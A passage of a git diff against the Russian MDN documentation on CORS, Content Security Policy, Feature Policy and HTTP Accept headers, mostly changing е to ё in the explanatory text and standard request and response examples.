            • {{HTTPHeader("Accept")}}
            • {{HTTPHeader("Accept-Language")}}
            • @@ -104,7 +104,7 @@ function callOtherDomain() { } -

              Это приведет к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:

              +

              Это приведёт к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:

              @@ -134,13 +134,13 @@ Content-Type: application/xml [XML Data] -

              Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришел из содержимого домена http://foo.example.

              +

              Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришёл из содержимого домена http://foo.example.

              Строчки 13 - 22 показывают HTTP-ответ от сервера на домен http://bar.other. В ответ сервер возвращает {{HTTPHeader("Access-Control-Allow-Origin")}} заголовок, указанный на 16 строке. Использование заголовков {{HTTPHeader("Origin")}} header и {{HTTPHeader("Access-Control-Allow-Origin")}} показывает протокол контроля доступа в простейшем виде. В этом случае, сервер отвечает с Access-Control-Allow-Origin: * что означает, что к ресурсу может получить доступ с любого домена кросс-сайтовым способом. Если владелец ресурса http://bar.other пожелал ограничить доступ к ресурсу для запросов только с http://foo.example, они отправят обратно:

              Access-Control-Allow-Origin: http://foo.example

              -

              Отметьте, никакой домен, кроме http://foo.example (определен ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок Access-Control-Allow-Origin должен содержать значение, которое было отправлено в заголовке Origin запроса. 

              +

              Отметьте, никакой домен, кроме http://foo.example (определён ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок Access-Control-Allow-Origin должен содержать значение, которое было отправлено в заголовке Origin запроса. 

              Предварительные запросы

              @@ -160,7 +160,7 @@ Content-Type: application/xml
            • {{HTTPMethod("PATCH")}}
          • -
          • Или если, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, или любым другим заголовком с именем, определенным в спецификации Fetch как "имя запрещенного заголовка"), запрос включает любые заголовки, отличные от тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса", а именно: +
          • Или если, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, или любым другим заголовком с именем, определённым в спецификации Fetch как "имя запрещённого заголовка"), запрос включает любые заголовки, отличные от тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса", а именно:
            • {{HTTPHeader("Accept")}}
            • {{HTTPHeader("Accept-Language")}}
            • @@ -184,7 +184,7 @@ Content-Type: application/xml
            • Или если объект {{domxref("ReadableStream")}} используется в запросе.
            -

            Ниже приведен пример запроса, который будет предварительно просмотрен.

            +

            Ниже приведён пример запроса, который будет предварительно просмотрен.

            var invocation = new XMLHttpRequest();
             var url = 'http://bar.other/resources/post-here/';
            @@ -204,7 +204,7 @@ function callOtherDomain(){
             ......
             
            -

            В примере выше, 3 строка создает XML тело, чтобы отправить POST запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (X-PINGOTHER: pingpong). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type  application/xml, и так как установлен кастомизированный заголовок, этот запрос просматривается.

            +

            В примере выше, 3 строка создаёт XML тело, чтобы отправить POST запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (X-PINGOTHER: pingpong). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type  application/xml, и так как установлен кастомизированный заголовок, этот запрос просматривается.

            @@ -242,7 +242,7 @@ Connection: Keep-Alive Content-Type: text/plain -

            Как только предварительный запрос завершен, отправляется настоящий запрос:

            +

            Как только предварительный запрос завершён, отправляется настоящий запрос:

            POST /resources/post-here/ HTTP/1.1
             Host: bar.other
            @@ -294,23 +294,23 @@ Access-Control-Max-Age: 86400

            Сервер отвечает с Access-Control-Allow-Methods и сообщает, что POST, GET, и OPTIONS являются жизнеспособными методами для запроса соответствующего ресурса. Обратите внимание, что этот заголовок похож на заголовок ответа {{HTTPHeader("Allow")}}, но используется строго в контексте контроля доступа.

            -

            Сервер также отправляет Access-Control-Allow-Headers со значением "X-PINGOTHER, Content-Type", подтверждая, что это разрешенные заголовки, которые будут использоваться с фактическим запросом. Как и Access-Control-Allow-Methods, Access-Control-Allow-Headers представляет собой список допустимых заголовков через запятую.

            +

            Сервер также отправляет Access-Control-Allow-Headers со значением "X-PINGOTHER, Content-Type", подтверждая, что это разрешённые заголовки, которые будут использоваться с фактическим запросом. Как и Access-Control-Allow-Methods, Access-Control-Allow-Headers представляет собой список допустимых заголовков через запятую.

            -

            Наконец, {{HTTPHeader("Access-Control-Max-Age")}} дает значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет максимальное внутреннее значение, которое имеет приоритет, когда Access-Control-Max-Age больше.

            +

            Наконец, {{HTTPHeader("Access-Control-Max-Age")}} даёт значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет максимальное внутреннее значение, которое имеет приоритет, когда Access-Control-Max-Age больше.

            Предварительные запросы и  переадресации

            Большинство браузеров в настоящее время не поддерживают следующие переадресации для предварительных запросов. Если переадресация происходит для предварительного запроса, большинство современных браузеров сообщат об ошибке, такой как следующее.

            -

            Запрос был перенаправлен на 'https://example.com/foo', который запрещен для запросов из разных источников, требующих предварительной проверки

            +

            Запрос был перенаправлен на 'https://example.com/foo', который запрещён для запросов из разных источников, требующих предварительной проверки

            Запрос требует предварительной проверки, которая запрещена для перенаправления между источниками

            -

            Протокол CORS изначально требовал такого поведения, но впоследствии был изменен, чтобы больше не требовать его. Однако большинство браузеров еще не реализовали это изменение и все еще демонстрируют поведение, которое требовалось изначально.

            +

            Протокол CORS изначально требовал такого поведения, но впоследствии был изменён, чтобы больше не требовать его. Однако большинство браузеров ещё не реализовали это изменение и все ещё демонстрируют поведение, которое требовалось изначально.

            Поэтому, пока браузеры не догонят спецификацию, вы можете обойти это ограничение, выполнив одно или оба из следующих действий:

            @@ -328,9 +328,9 @@ Access-Control-Max-Age: 86400

            Однако, если запрос инициирует предварительную проверку из-за наличия в запросе заголовка `Authorization`, вы не сможете обойти ограничение, используя описанные выше шаги. И вы вообще не сможете обойти это, если у вас нет контроля над сервером, на который делается запрос.

            -

            Запросы с учетными данными

            +

            Запросы с учётными данными

            -

            Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и Fetch и CORS - это возможность делать "проверенные" запросы, которые осведомлены о файлах HTTP cookie и информации HTTP аутентификации. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или Fetch вызовах, браузеры не отправляют учетные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.

            +

            Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и Fetch и CORS - это возможность делать "проверенные" запросы, которые осведомлены о файлах HTTP cookie и информации HTTP аутентификации. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или Fetch вызовах, браузеры не отправляют учётные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.

            В этом примере контент, изначально загруженный из http://foo.example, выполняет простой GET запрос к ресурсу  http://bar.other, который устанавливает файлы cookie. Содержимое на foo.example может содержать такой JavaScript:

            @@ -346,7 +346,7 @@ function callOtherDomain(){ } } -

            В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение withCredentials. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос GET, он не является предварительным, но браузер отклоняет любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}: true, и не создает ответ, доступный для вызова веб-контента.

            +

            В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение withCredentials. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос GET, он не является предварительным, но браузер отклоняет любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}: true, и не создаёт ответ, доступный для вызова веб-контента.

            @@ -387,9 +387,9 @@ Content-Type: text/plain

            Также в строке 11 содержится Cookie, предназначенный для контента ресурса http://bar.other. В случае если http://bar.other не ответит полем  {{HTTPHeader("Access-Control-Allow-Credentials")}}: true (строка 19), то ответ от сервера  будет проигнорирован и не станет доступным для веб-контента.

            -

            Запросы с учетными данными и wildcards

            +

            Запросы с учётными данными и wildcards

            -

            В процессе ответа на запрос с учетными данными сервер обязан указать точный источник в поле заголовка Access-Control-Allow-Origin вместо спецсимвола "*".

            +

            В процессе ответа на запрос с учётными данными сервер обязан указать точный источник в поле заголовка Access-Control-Allow-Origin вместо спецсимвола "*".

            Из-за того что заголовки запроса в примере выше включают заголовок Cookie, запрос  провалился бы, если бы значение заголовка Control-Allow-Origin было "*". Но он не провалился: потому что значение заголовка Access-Control-Allow-Origin  - "http://foo.example" (действительный источник), а не спецсимвол "*", контент, удостоверяющий полномочия, возвращается в вызывающий веб-контент.

            @@ -397,7 +397,7 @@ Content-Type: text/plain

            Заголовки HTTP ответов

            -

            Эта секция содержит список заголовков HTTP ответов, которые сервер шлет в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.

            +

            Эта секция содержит список заголовков HTTP ответов, которые сервер шлёт в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.

            Access-Control-Allow-Origin

            @@ -406,7 +406,7 @@ Content-Type: text/plain
            Access-Control-Allow-Origin: <origin> | *
             
            -

            Access-Control-Allow-Origin определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учетных данных — значение "*", которое говорит браузеру разрешить запросы из любых источников.

            +

            Access-Control-Allow-Origin определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учётных данных — значение "*", которое говорит браузеру разрешить запросы из любых источников.

            Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:

            diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html index 66c9f059bc..f1c128ab7f 100644 --- a/files/ru/web/http/csp/index.html +++ b/files/ru/web/http/csp/index.html @@ -8,9 +8,9 @@ translation_of: Web/HTTP/CSP ---
            {{HTTPSidebar}}
            -

            Content Security Policy ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определенные типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.

            +

            Content Security Policy ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определённые типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.

            -

            CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться здесь, в пункте 1.1). Браузеры, которые не поддерживают CSP, все еще могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут ее игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные правила ограничения домена.

            +

            CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться здесь, в пункте 1.1). Браузеры, которые не поддерживают CSP, все ещё могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут её игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные правила ограничения домена.

            Для того чтобы включить CSP, необходимо настроить сервер так, чтобы в ответах он использовал HTTP-заголовок {{HTTPHeader("Content-Security-Policy")}} (в различных примерах и документации можно встретить вариант заголовка X-Content-Security-Policy. Он является устаревшим и определять его не нужно).

            @@ -22,13 +22,13 @@ translation_of: Web/HTTP/CSP

            Основная цель создания CSP заключается в устранении XSS атак и сборе данных об их попытках. XSS атаки используют доверие браузера к контенту, полученному с сервера. Зловредные скрипты исполняются в браузере жертвы, поскольку браузер доверяет источнику, даже когда скрипт поставляется не оттуда, откуда кажется.

            -

            CSP дает возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешенных источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).

            +

            CSP даёт возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешённых источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).

            В качестве крайней меры защиты, сайты, которые хотят запретить исполнение скриптов, могут настроить это поведение глобально, с помощью соответствующей опции.

            Пакетный сниффинг

            -

            В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершенная стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех кук с помощью специального флага, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищенному каналу.

            +

            В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершённая стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех кук с помощью специального флага, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищённому каналу.

            Использование CSP

            @@ -48,7 +48,7 @@ translation_of: Web/HTTP/CSP

            Примеры: Распространённые случаи применения

            -

            В данном разделе приводятся наиболее распространенные сценарии использования CSP.

            +

            В данном разделе приводятся наиболее распространённые сценарии использования CSP.

            Пример 1

            @@ -78,7 +78,7 @@ translation_of: Web/HTTP/CSP

            Пример 4

            -

            Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идет по SSL и атакующий не сможет обрабатывать запросы:

            +

            Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идёт по SSL и атакующий не сможет обрабатывать запросы:

            Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
            @@ -94,29 +94,29 @@ translation_of: Web/HTTP/CSP

            Тестирование настройки политики

            -

            Для облегчения развертывания можно настроить развертывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.

            +

            Для облегчения развёртывания можно настроить развёртывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.

            Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:

            Content-Security-Policy-Report-Only: policy 
            -

            В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке Content-Security-Policy будут применены, в то время как политики, описанные в заголовке Content-Security-Policy-Report-Only, создадут отчеты, но применены не будут.

            +

            В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке Content-Security-Policy будут применены, в то время как политики, описанные в заголовке Content-Security-Policy-Report-Only, создадут отчёты, но применены не будут.

            -

            Настройка отправки отчетов

            +

            Настройка отправки отчётов

            -

            По умолчанию, отправка отчетов не производится.  Для того чтобы включить отправку отчетов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчеты:

            +

            По умолчанию, отправка отчётов не производится.  Для того чтобы включить отправку отчётов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчёты:

            Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
            -

            Кроме того, необходимо настроить свой сервер на получение этих отчетов; вы можете хранить и обрабатывать эти отчеты как считаете нужным.

            +

            Кроме того, необходимо настроить свой сервер на получение этих отчётов; вы можете хранить и обрабатывать эти отчёты как считаете нужным.

            -

            Синтаксис отчета о происшествиях

            +

            Синтаксис отчёта о происшествиях

            -

            Объект отчета в формате JSON содержит следующие поля:

            +

            Объект отчёта в формате JSON содержит следующие поля:

            blocked-uri
            -
            URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращен до схемы, хоста и порта.
            +
            URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращён до схемы, хоста и порта.
            @@ -129,7 +129,7 @@ translation_of: Web/HTTP/CSP
            original-policy
            Исходная политика, описываемая в заголовке Content-Security-Policy.
            referrer
            -
            Реферер, который привел к нарушению.
            +
            Реферер, который привёл к нарушению.
            script-sample
            Первые 40 символов встроенного скрипта или стиля, спровоцировавшего нарушение.
            status-code
            @@ -138,7 +138,7 @@ translation_of: Web/HTTP/CSP
            Директива, которая была нарушена.
            -

            Пример отчета о происшествии

            +

            Пример отчёта о происшествии

            Возьмём страницу, расположенную по адресу http://example.com/signup.html. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с cdn.example.com.
            @@ -171,7 +171,7 @@ translation_of: Web/HTTP/CSP } } -

            Как видите, отчёт включает полный путь к ресурсу нарушающему политику в blocked-uri. Правда, это не всегда так. К примеру, когда signup.html попытается загрузить CSS с http://anothercdn.example.com/stylesheet.css, браузер не будет включать полный путь, а ограничится лишь доменом (http://anothercdn.example.com). Спецификация CSP поясняет это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрестных ресурсах

            +

            Как видите, отчёт включает полный путь к ресурсу нарушающему политику в blocked-uri. Правда, это не всегда так. К примеру, когда signup.html попытается загрузить CSS с http://anothercdn.example.com/stylesheet.css, браузер не будет включать полный путь, а ограничится лишь доменом (http://anothercdn.example.com). Спецификация CSP поясняет это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрёстных ресурсах

            Совместимость с браузерами

            @@ -179,7 +179,7 @@ translation_of: Web/HTTP/CSP

            {{Compat("http.headers.csp")}}

            -

            Для некоторых версий Safari существует специфическая несовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнет блокировать и создавать ложно-положительные отчеты о нарушении политики для всего контента, как с запрашиваемого источника, так и из внешних источников.

            +

            Для некоторых версий Safari существует специфическая несовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнёт блокировать и создавать ложно-положительные отчёты о нарушении политики для всего контента, как с запрашиваемого источника, так и из внешних источников.

            Смотрите также:

            diff --git a/files/ru/web/http/feature_policy/index.html b/files/ru/web/http/feature_policy/index.html index 972b15c168..ae3955ed1c 100644 --- a/files/ru/web/http/feature_policy/index.html +++ b/files/ru/web/http/feature_policy/index.html @@ -5,13 +5,13 @@ translation_of: Web/HTTP/Feature_Policy ---
            {{SeeCompatTable}}{{HTTPSidebar}}
            -

            Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определенных функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.

            +

            Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определённых функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.

            Краткое описание

            Заголовок Feature Policy предоставляет механизм для ясного указания функций, используемых или не используемых вашим веб-сайтом. Это позволяет закрепить лучшие практики, даже если кодовая база развивается с течением времени, а также более безопасно включать сторонний контент, ограничивая доступные функции.

            -

            С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определенные функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определенных функций.

            +

            С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определённые функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определённых функций.

            Примеры того, что можно сделать с заголовком Feature Policy:

            diff --git a/files/ru/web/http/feature_policy/using_feature_policy/index.html b/files/ru/web/http/feature_policy/using_feature_policy/index.html index b2dc5d8792..b75ef11712 100644 --- a/files/ru/web/http/feature_policy/using_feature_policy/index.html +++ b/files/ru/web/http/feature_policy/using_feature_policy/index.html @@ -9,13 +9,13 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy
            -

            Функциональная политика позволяет разработчику контролировать доступ страницам сайта к определенной веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определенную функциональность списку разрешенных источников. Каждая функция, контролируемая функциональной политикой, активируется  в определенном документе или фрейме, если его источник происхождения входит в разрешенный список источников.

            +

            Функциональная политика позволяет разработчику контролировать доступ страницам сайта к определённой веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определённую функциональность списку разрешённых источников. Каждая функция, контролируемая функциональной политикой, активируется  в определённом документе или фрейме, если его источник происхождения входит в разрешённый список источников.

            -

            Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешенных источников по умолчанию. Этот список специфичен для каждой функциональности. 

            +

            Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешённых источников по умолчанию. Этот список специфичен для каждой функциональности. 

            Описание политики

            -

            Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имен определяемых функциональностей, со списком источников происхождения, которым разрешается доступ к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.

            +

            Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имён определяемых функциональностей, со списком источников происхождения, которым разрешается доступ к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.

            список доступа

            @@ -54,7 +54,7 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy

            Отправить заголовок функциональной политики можно в ответе на запрос документа (страницы). Значение заголовка переопределяет политику браузера по умолчанию для данной страницы. Он имеет следующую структуру.

            -
            Feature-Policy: <имя функциональности> <список разрешенных источников>
            +
            Feature-Policy: <имя функциональности> <список разрешённых источников>

            К примеру, для блокировки функциональности API геолокации по всему сайту:

            diff --git a/files/ru/web/http/headers/accept-charset/index.html b/files/ru/web/http/headers/accept-charset/index.html index a8008ec1b8..75bf389f93 100644 --- a/files/ru/web/http/headers/accept-charset/index.html +++ b/files/ru/web/http/headers/accept-charset/index.html @@ -6,12 +6,12 @@ original_slug: Web/HTTP/Заголовки/Accept-Charset ---
            {{HTTPSidebar}}
            -

            Заголовок Accept-Charset запроса HTTP сообщает какую кодировку клиент может понять. Используя согласование контента, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своем выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно корректный  и передача его позволит с большей легкостью получить цифровой отпечаток.

            +

            Заголовок Accept-Charset запроса HTTP сообщает какую кодировку клиент может понять. Используя согласование контента, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своём выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно корректный  и передача его позволит с большей лёгкостью получить цифровой отпечаток.

            Если сервер не может обслужить никакую из предоставленных кодировок, теоретически он может вернуть {{HTTPStatus("406")}} (Not Acceptable) код ошибки. Но, для более лучшего пользовательского опыта, это редко делается и более частый способ в этом случае, это просто игнорирование заголовка Accept-Charset.

            -

            В более ранних версиях HTTP/1.1, кодировка  по умолчанию (ISO-8859-1) была определена. Теперь это не так и каждый контентый тип может иметь свое собственное дефолтное значение.

            +

            В более ранних версиях HTTP/1.1, кодировка  по умолчанию (ISO-8859-1) была определена. Теперь это не так и каждый контентый тип может иметь своё собственное дефолтное значение.

          • diff --git a/files/ru/web/http/headers/accept-language/index.html b/files/ru/web/http/headers/accept-language/index.html index 8cce5856b6..feddf885d0 100644 --- a/files/ru/web/http/headers/accept-language/index.html +++ b/files/ru/web/http/headers/accept-language/index.html @@ -6,7 +6,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Language ---
            {{HTTPSidebar}}
            -
            {{Glossary("HTTP-заголовок")}} Запрос Accept-Language сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого  (content negotiation), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своем выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательского интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка Accept-Language, это происходит редко (и не одобряется, так как ведет.к идентификации).
            +
            {{Glossary("HTTP-заголовок")}} Запрос Accept-Language сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого  (content negotiation), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своём выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательского интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка Accept-Language, это происходит редко (и не одобряется, так как ведёт.к идентификации).
            @@ -44,11 +44,11 @@ Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
            <language>
            -
            Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать  дополнительные под-теги, разделенные '-'. Наиболее распространенной дополнительной информацией являются указания на страну или регион (например, 'en-US' или 'fr-CA') или тип алфавита, который следует использовать (например, 'sr-Latn'). Другие варианты, такие как тип орфографии ('de-DE-1996') обычно не используются в контексте данного заголовка.
            +
            Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать  дополнительные под-теги, разделённые '-'. Наиболее распространённой дополнительной информацией являются указания на страну или регион (например, 'en-US' или 'fr-CA') или тип алфавита, который следует использовать (например, 'sr-Latn'). Другие варианты, такие как тип орфографии ('de-DE-1996') обычно не используются в контексте данного заголовка.
            *
            Любой язык; '*' обозначает любое значение.
            ;q= (q-factor weighting)
            -
            Любое из значений, размещенных в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют весами.
            +
            Любое из значений, размещённых в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют весами.

            Примеры

            diff --git a/files/ru/web/http/headers/accept-patch/index.html b/files/ru/web/http/headers/accept-patch/index.html index 5cacf1026f..17bc2ae125 100644 --- a/files/ru/web/http/headers/accept-patch/index.html +++ b/files/ru/web/http/headers/accept-patch/index.html @@ -29,7 +29,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Patch
            - + diff --git a/files/ru/web/http/headers/accept/index.html b/files/ru/web/http/headers/accept/index.html index ba2539d420..832d095b09 100644 --- a/files/ru/web/http/headers/accept/index.html +++ b/files/ru/web/http/headers/accept/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/Accept ---
            {{HTTPSidebar}}
            -

            HTTP заголовок запроса Accept указывает, какие типы контента, выраженные как MIME типы, клиент может понять. Используя согласование контента, сервер затем выбирает одно из предложений, использует его и информирует клиента о своем выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задается другое значение, чем при получении изображения, видео или скрипта.

            +

